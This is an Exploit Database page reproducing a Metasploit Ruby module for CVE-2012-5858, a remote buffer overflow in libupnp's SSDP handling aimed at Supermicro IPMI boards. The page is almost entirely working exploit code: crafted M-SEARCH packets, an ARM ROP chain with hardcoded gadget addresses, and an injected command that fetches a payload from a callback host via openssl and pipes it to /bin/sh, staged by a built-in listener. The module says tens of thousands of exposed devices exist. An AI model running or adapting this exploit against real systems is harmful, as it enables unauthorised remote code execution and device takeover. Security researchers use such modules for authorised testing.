Portable UPnP SDK – ‘unique_service_name()’ Remote Code Execution (Metasploit)

• Exploit Database
• 11 阅读

• 作者： Metasploit
  日期： 2013-02-05
• 类别：

  • remote
  平台：

  • unix
• 来源：https://www.exploit-db.com/exploits/24455/

• ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # web site for more information on licensing and terms of use.
  # http://metasploit.com/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = NormalRanking
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Portable UPnP SDK unique_service_name() Remote Code Execution',
  			'Description'=> %q{
  					This module exploits a buffer overflow in the unique_service_name()
  				function of libupnp's SSDP processor. The libupnp library is used across
  				thousands of devices and is referred to as the Intel SDK for UPnP
  				Devices or the Portable SDK for UPnP Devices.
  
  				Due to size limitations on many devices, this exploit uses a separate TCP
  				listener to stage the real payload.
  			},
  			'Author' => [
  					'hdm',# Exploit dev for Supermicro IPMI
  					'Alex Eubanks <endeavor[at]rainbowsandpwnies.com>', # Exploit dev for Supermicro IPMI
  					'Richard Harman <richard[at]richardharman.com>' # Binaries, system info, testing for Supermicro IPMI
  				],
  			'License'=> MSF_LICENSE,
  			'References' =>
  				[
  					[ 'CVE', '2012-5858' ],
  					[ 'US-CERT-VU', '922681' ],
  					[ 'URL', 'https://community.rapid7.com/community/infosec/blog/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play' ]
  				],
  			'Platform' => ['unix'],
  			'Arch' => ARCH_CMD,
  			'Privileged' => true,
  			'Payload'=>
  				{
  #
  #					# The following BadChars do not apply since we stage the payload
  #					# through a secondary connection. This is just for reference.
  #
  #					'BadChars'=>
  #						# Bytes 0-8 are not allowed
  #						[*(0..8)].pack("C*") +
  #						# 0x09, 0x0a, 0x0d are allowed
  #						"\x0b\x0c\x0e\x0f" +
  #						# All remaining bytes up to space are restricted
  #						[*(0x10..0x1f)].pack("C*") +
  #						# Also not allowed
  #						"\x7f\x3a" +
  #						# Breaks our string quoting
  #						"\x22",
  
  					# Unlimited since we stage this over a secondary connection
  					'Space' => 8000,
  					'DisableNops' => true,
  					'Compat'=>
  						{
  							'PayloadType' => 'cmd',
  							# specific payloads vary widely by device (openssl for IPMI, etc)
  						}
  				},
  			'Targets'=>
  				[
  
  					[ "Automatic", { } ],
  
  					#
  					# ROP targets are difficult to represent in the hash, use callbacks instead
  					#
  					[ "Supermicro Onboard IPMI (X9SCL/X9SCM) Intel SDK 1.3.1", {
  
  						# The callback handles all target-specific settings
  						:callback => :target_supermicro_ipmi_131,
  
  						# This matches any line of the SSDP M-SEARCH response
  						:fingerprint =>
  							/Server:\s*Linux\/2\.6\.17\.WB_WPCM450\.1\.3 UPnP\/1\.0, Intel SDK for UPnP devices\/1\.3\.1/mi
  
  						#
  						# SSDP response:
  						#	Linux/2.6.17.WB_WPCM450.1.3 UPnP/1.0, Intel SDK for UPnP devices/1.3.1
  						#	http://192.168.xx.xx:49152/IPMIdevicedesc.xml
  						#	uuid:Upnp-IPMI-1_0-1234567890001::upnp:rootdevice
  
  						# Approximately 35,000 of these found in the wild via critical.io scans (2013-02-03)
  
  					} ],
  
  					[ "Debug Target", {
  
  						# The callback handles all target-specific settings
  						:callback => :target_debug
  
  					} ]
  
  				],
  			'DefaultTarget'=> 0,
  			'DisclosureDate' => 'Jan 29 2013'))
  
  		register_options(
  			[
  				Opt::RHOST(),
  				Opt::RPORT(1900),
  				OptAddress.new('CBHOST', [ false, "The listener address used for staging the real payload" ]),
  				OptPort.new('CBPORT', [ false, "The listener port used for staging the real payload" ])
  			], self.class)
  	end
  
  
  	def exploit
  
  		configure_socket
  
  		target_info = choose_target
  
  		unless self.respond_to?(target_info[:callback])
  			print_error("Invalid target specified: no callback function defined")
  			return
  		end
  
  		buffer = self.send(target_info[:callback])
  		pkt =
  			"M-SEARCH * HTTP/1.1\r\n" +
  			"Host:239.255.255.250:1900\r\n" +
  			"ST:uuid:schemas:device:" + buffer + ":end\r\n" +
  			"Man:\"ssdp:discover\"\r\n" +
  			"MX:3\r\n\r\n"
  
  		print_status("Exploiting #{rhost} with target '#{target_info.name}' with #{pkt.length} bytes to port #{rport}...")
  
  		r = udp_sock.sendto(pkt, rhost, rport, 0)
  
  		1.upto(5) do
  			::IO.select(nil, nil, nil, 1)
  			break if session_created?
  		end
  
  		# No handler() support right now
  	end
  
  
  
  	# These devices are armle, run version 1.3.1 of libupnp, have random stacks, but no PIE on libc
  	def target_supermicro_ipmi_131
  
  		# Create a fixed-size buffer for the payload
  		buffer = Rex::Text.rand_text_alpha(2000)
  
  		# Place the entire buffer inside of double-quotes to take advantage of is_qdtext_char()
  		buffer[0,1] = '"'
  		buffer[1999,1]= '"'
  
  		# Prefer CBHOST, but use LHOST, or autodetect the IP otherwise
  		cbhost = datastore['CBHOST'] || datastore['LHOST'] || Rex::Socket.source_address(datastore['RHOST'])
  
  		# Start a listener
  		start_listener(true)
  
  		# Figure out the port we picked
  		cbport = self.service.getsockname[2]
  
  		# Restart the service and use openssl to stage the real payload
  		# Staged because only ~150 bytes of contiguous data are available before mangling
  		cmd = "sleep 1;/bin/upnp_dev & echo; openssl s_client -quiet -host #{cbhost} -port #{cbport}|/bin/sh;exit;#"
  		buffer[432, cmd.length] = cmd
  
  		# Adjust $r3 to point from the bottom of the stack back into our buffer
  		buffer[304,4] = [0x4009daf8].pack("V") #
  			# 0x4009daf8:	add	r3, r3, r4, lsl #2
  			# 0x4009dafc:	ldr	r0, [r3, #512]	; 0x200
  			# 0x4009db00:	pop	{r4, r10, pc}
  
  		# The offset (right-shifted by 2 ) to our command string above
  		buffer[284,4] = [0xfffffe78].pack("V") #
  
  		# Copy $r3 into $r0
  		buffer[316,4] = [0x400db0ac].pack("V")
  			# 0x400db0ac <_IO_wfile_underflow+1184>:	sub	r0, r3, #1
  			# 0x400db0b0 <_IO_wfile_underflow+1188>:	pop	{pc}		; (ldr pc, [sp], #4)
  
  		# Move our stack pointer down so as not to corrupt our payload
  		buffer[320,4] = [0x400a5568].pack("V")
  			# 0x400a5568 <__default_rt_sa_restorer_v2+5448>:	add	sp, sp, #408	; 0x198
  			# 0x400a556c <__default_rt_sa_restorer_v2+5452>:	pop	{r4, r5, pc}
  
  		# Finally return to system() with $r0 pointing to our string
  		buffer[141,4] = [0x400add8c].pack("V")
  
  		return buffer
  =begin
  		00008000-00029000 r-xp 00000000 08:01 709233 /bin/upnp_dev
  		00031000-00032000 rwxp 00021000 08:01 709233 /bin/upnp_dev
  		00032000-00055000 rwxp 00000000 00:00 0[heap]
  		40000000-40015000 r-xp 00000000 08:01 709562 /lib/ld-2.3.5.so
  		40015000-40017000 rwxp 00000000 00:00 0
  		4001c000-4001d000 r-xp 00014000 08:01 709562 /lib/ld-2.3.5.so
  		4001d000-4001e000 rwxp 00015000 08:01 709562 /lib/ld-2.3.5.so
  		4001e000-4002d000 r-xp 00000000 08:01 709535 /lib/libpthread-0.10.so
  		4002d000-40034000 ---p 0000f000 08:01 709535 /lib/libpthread-0.10.so
  		40034000-40035000 r-xp 0000e000 08:01 709535 /lib/libpthread-0.10.so
  		40035000-40036000 rwxp 0000f000 08:01 709535 /lib/libpthread-0.10.so
  		40036000-40078000 rwxp 00000000 00:00 0
  		40078000-40180000 r-xp 00000000 08:01 709620 /lib/libc-2.3.5.so
  		40180000-40182000 r-xp 00108000 08:01 709620 /lib/libc-2.3.5.so
  		40182000-40185000 rwxp 0010a000 08:01 709620 /lib/libc-2.3.5.so
  		40185000-40187000 rwxp 00000000 00:00 0
  		bd600000-bd601000 ---p 00000000 00:00 0
  		bd601000-bd800000 rwxp 00000000 00:00 0
  		bd800000-bd801000 ---p 00000000 00:00 0
  		bd801000-bda00000 rwxp 00000000 00:00 0
  		bdc00000-bdc01000 ---p 00000000 00:00 0
  		bdc01000-bde00000 rwxp 00000000 00:00 0
  		be000000-be001000 ---p 00000000 00:00 0
  		be001000-be200000 rwxp 00000000 00:00 0
  		be941000-be956000 rwxp 00000000 00:00 0[stack]
  =end
  
  	end
  
  	# Generate a buffer that provides a starting point for exploit development
  	def target_debug
  		buffer = Rex::Text.pattern_create(2000)
  	end
  
  	def stage_real_payload(cli)
  		print_good("Sending payload of #{payload.encoded.length} bytes to #{cli.peerhost}:#{cli.peerport}...")
  		cli.put(payload.encoded + "\n")
  	end
  
  	def start_listener(ssl = false)
  
  		comm = datastore['ListenerComm']
  		if comm == "local"
  			comm = ::Rex::Socket::Comm::Local
  		else
  			comm = nil
  		end
  
  		self.service = Rex::Socket::TcpServer.create(
  			'LocalPort' => datastore['CBPORT'],
  			'SSL' => ssl,
  			'SSLCert' => datastore['SSLCert'],
  			'Comm'=> comm,
  			'Context' =>
  				{
  					'Msf'=> framework,
  					'MsfExploit' => self,
  				})
  
  		self.service.on_client_connect_proc = Proc.new { |client|
  			stage_real_payload(client)
  		}
  
  		# Start the listening service
  		self.service.start
  	end
  
  	#
  	# Shut down any running services
  	#
  	def cleanup
  		super
  		if self.service
  			print_status("Shutting down payload stager listener...")
  			begin
  				self.service.deref if self.service.kind_of?(Rex::Service)
  				if self.service.kind_of?(Rex::Socket)
  					self.service.close
  					self.service.stop
  				end
  				self.service = nil
  			rescue ::Exception
  			end
  		end
  	end
  
  	def choose_target
  		# If the user specified a target, use that one
  		return self.target unless self.target.name =~ /Automatic/
  
  		msearch =
  			"M-SEARCH * HTTP/1.1\r\n" +
  			"Host:239.255.255.250:1900\r\n" +
  			"ST:upnp:rootdevice\r\n" +
  			"Man:\"ssdp:discover\"\r\n" +
  			"MX:3\r\n\r\n"
  
  		# Fingerprint the service through SSDP
  		udp_sock.sendto(msearch, rhost, rport, 0)
  
  		res = nil
  		1.upto(5) do
  			res,addr,info = udp_sock.recvfrom(65535, 1.0)
  			break if res and res =~ /^(Server|Location)/mi
  			udp_sock.sendto(msearch, rhost, rport, 0)
  		end
  
  		self.targets.each do |t|
  			return t if t[:fingerprint] and res =~ t[:fingerprint]
  		end
  
  		if res and res.to_s.length > 0
  			print_status("No target matches this fingerprint")
  			print_status("")
  			res.to_s.split("\n").each do |line|
  				print_status("#{line.strip}")
  			end
  			print_status("")
  		else
  			print_status("The system #{rhost} did not reply to our M-SEARCH probe")
  		end
  
  		fail_with(Exploit::Failure::NoTarget, "No compatible target detected")
  	end
  
  	# Accessor for our TCP payload stager
  	attr_accessor :service
  
  	# We need an unconnected socket because SSDP replies often come
  	# from a different sent port than the one we sent to. This also
  	# breaks the standard UDP mixin.
  	def configure_socket
  		self.udp_sock = Rex::Socket::Udp.create({
  			'Context' => { 'Msf' => framework, 'MsfExploit' => self }
  		})
  		add_socket(self.udp_sock)
  	end
  
  	#
  	# Required since we aren't using the normal mixins
  	#
  
  	def rhost
  		datastore['RHOST']
  	end
  
  	def rport
  		datastore['RPORT']
  	end
  
  	# Accessor for our UDP socket
  	attr_accessor :udp_sock
  
  end